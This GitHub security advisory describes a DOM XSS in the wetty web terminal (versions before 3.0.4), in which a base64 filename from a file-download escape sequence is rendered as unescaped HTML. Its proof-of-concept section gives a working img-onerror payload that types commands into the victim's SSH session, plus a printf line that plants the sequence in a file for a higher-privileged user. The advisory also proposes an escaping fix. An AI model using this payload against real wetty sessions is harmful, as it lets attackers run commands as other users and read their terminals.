Skip to content

wetty vulnerable to DOM XSS via file-download filename

High severity GitHub Reviewed Published May 27, 2026 in butlerx/wetty • Updated Jul 1, 2026

Package

npm wetty (npm)

Affected versions

< 3.0.4

Patched versions

3.0.4

Description

Summary

The wetty client decodes a base64 filename from the file-download escape sequence and interpolates it raw into a Toastify HTML string (escapeMarkup: false). Any output the victim renders - a cat'd file, a tailed log, an SSH MOTD, a curl response - that contains \x1b[5i...:...\x1b[4i runs script in the wetty origin and types attacker-chosen keystrokes into the victim's SSH session.

Preconditions

  • Victim has wetty open with an active SSH session.
  • Attacker delivers the file-download escape sequence (\x1b[5i<b64-name>:<b64-content>\x1b[4i) into output the victim's terminal renders.
  • Default configuration; no non-default flags required.

Details

// src/client/wetty.ts:37, 46-62
const fileDownloader = new FileDownloader();
// ...
socket.on('data', (data: string) => {
  const remainingData = fileDownloader.buffer(data);
  // every PTY byte forwarded by the server passes through buffer()
  // ...
})

Every byte the server forwards from the PTY passes through FileDownloader.buffer. The buffer scans for the documented file-download markers \x1b[5i (begin) and \x1b[4i (end) - documented in docs/downloading-files.md - and, on a complete match, hands the inner payload to onCompleteFile.

// src/client/wetty/download.ts:9-77
function onCompleteFile(bufferCharacters: string): void {
  let fileNameBase64;
  let fileCharacters = bufferCharacters;
  if (bufferCharacters.includes(':')) {
    [fileNameBase64, fileCharacters] = bufferCharacters.split(':');
  }
  // ...
  void detectAndDownload(bytes, fileCharacters, fileNameBase64);
}

async function detectAndDownload(/* ... */): Promise<void> {
  // ...
  let fileName;
  try {
    if (fileNameBase64 !== undefined) {
      fileName = window.atob(fileNameBase64);            // attacker-controlled
    }
  } catch { /* ... */ }
  fileName ??= `file-${ /* timestamp default */ }`;
  // ...
  Toastify({
    text: `Download ready: <a href="${blobUrl}" target="_blank" `
        + `download="${fileName}">${fileName}</a>`,     // sink
    duration: 10000,
    // ...
    escapeMarkup: false,
  }).showToast();
}

fileName is base64-decoded from the escape-sequence payload, then interpolated twice into a string that Toastify renders as raw HTML (escapeMarkup: false). No HTML escaping runs between atob and the toast markup. The wetty client exposes the live terminal as window.wetty_term, and term.input(data, true) (src/client/wetty/term.ts:80, 93-97, 132, 145-198) fires xterm.js's onData, which src/client/wetty.ts:40-42 forwards as a socket input event - i.e., script in the wetty origin types into the victim's SSH session.

Proof of concept

Setup

  1. Bring up wetty and its bundled SSH host from a fresh clone:

    git clone https://github.com/butlerx/wetty
    cd wetty
    docker compose up -d
    sleep 5
  2. Open http://localhost/wetty in a browser. The login terminal prompts for a username (enter term) then proxies to wetty-ssh, which prompts for the SSH password (also term, set in containers/ssh/Dockerfile). The browser tab now holds a shell on the SSH container.

Exploit

  1. In the SSH session, build and emit the escape sequence. The filename portion carries the HTML payload; the content portion is a short literal so the toast renders quickly:

    PAYLOAD='"><img src=x onerror="window.wetty_term.input(\"id > /tmp/pwned\\n\",true)">'
    FNAME_B64=$(printf '%s' "$PAYLOAD" | base64 -w0)
    DATA_B64=$(printf 'bait' | base64 -w0)
    printf '\x1b[5i%s:%s\x1b[4i' "$FNAME_B64" "$DATA_B64"

    Expected: a Toastify notification appears at the bottom-right of the wetty page. Its DOM contains the attacker-supplied <img> element with the onerror handler.

  2. The onerror handler calls window.wetty_term.input("id > /tmp/pwned\n", true), which xterm.js dispatches as a data event; src/client/wetty.ts:40-42 forwards it as a socket input event; the server writes it to the PTY. The SSH host runs id > /tmp/pwned as the connected user:

    cat /tmp/pwned

    Expected: uid=1000(term) gid=1000(term) groups=1000(term).

  3. The same chain works cross-user. On a shared SSH host, a low-privileged user plants the sequence in a file the higher-privileged user reads via wetty:

    # As the low-priv user on the SSH host
    printf '\x1b[5i%s:%s\x1b[4i' "$FNAME_B64" "$DATA_B64" > /tmp/notes.txt

    When the higher-privileged user's wetty session runs cat /tmp/notes.txt, attacker-controlled JavaScript types commands into that user's shell.

Impact

  • Confidentiality: Reads the rendered terminal contents via window.wetty_term.buffer.active.
  • Integrity: Types attacker-chosen commands into the victim's SSH session via window.wetty_term.input().
  • Auth: A writer of content the victim renders gains keystroke injection in the victim's higher-privileged session - a path from any local SSH user to commands as the wetty user.

Suggestions to fix

This has not been tested - it is illustrative only.

HTML-escape the decoded filename before interpolating it into Toastify's HTML markup at src/client/wetty/download.ts:67-77.

   fileName ??= `file-${new Date()
     .toISOString()
     .split('.')[0]
     .replace(/-/g, '')
     .replace('T', '')
     .replace(/:/g, '')}${fileExt ? `.${fileExt}` : ''}`;
+  const safeName = fileName.replace(/[&<>"']/g, (c) =>
+    ({ '&': '&amp;', '<': '&lt;', '>': '&gt;', '"': '&quot;', "'": '&#39;' })[c] ?? c,
+  );

   const blob = new Blob([bytes.buffer as ArrayBuffer], { type: mimeType });
   const blobUrl = URL.createObjectURL(blob);

   Toastify({
-    text: `Download ready: <a href="${blobUrl}" target="_blank" download="${fileName}">${fileName}</a>`,
+    text: `Download ready: <a href="${blobUrl}" target="_blank" download="${safeName}">${safeName}</a>`,
     duration: 10000,

References

@butlerx butlerx published to butlerx/wetty May 27, 2026
Published to the GitHub Advisory Database Jul 1, 2026
Reviewed Jul 1, 2026
Last updated Jul 1, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction Active
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability Low
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(26th percentile)

Weaknesses

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. Learn more on MITRE.

CVE ID

CVE-2026-49864

GHSA ID

GHSA-p26j-h7wj-r568

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.